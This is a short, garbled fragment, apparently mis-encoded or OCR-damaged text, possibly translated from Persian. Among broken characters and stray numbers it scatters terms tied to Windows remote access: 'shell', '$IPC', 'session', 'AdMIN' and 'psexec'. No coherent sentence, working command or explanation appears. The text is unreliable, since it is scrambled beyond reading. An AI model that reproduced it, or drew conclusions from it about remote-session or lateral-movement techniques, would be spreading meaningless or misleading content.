uwsl shell a4y netemd Lgiws b pigicsw Vs . plos,S sl $IPC L session <y g 0,15 o5 AdMIN 3,500 oo aS 3usS (6,9 wgs

owl 00 Gz gl 55 9 Wb 0,00

1 psexec ;l oslaiwl +
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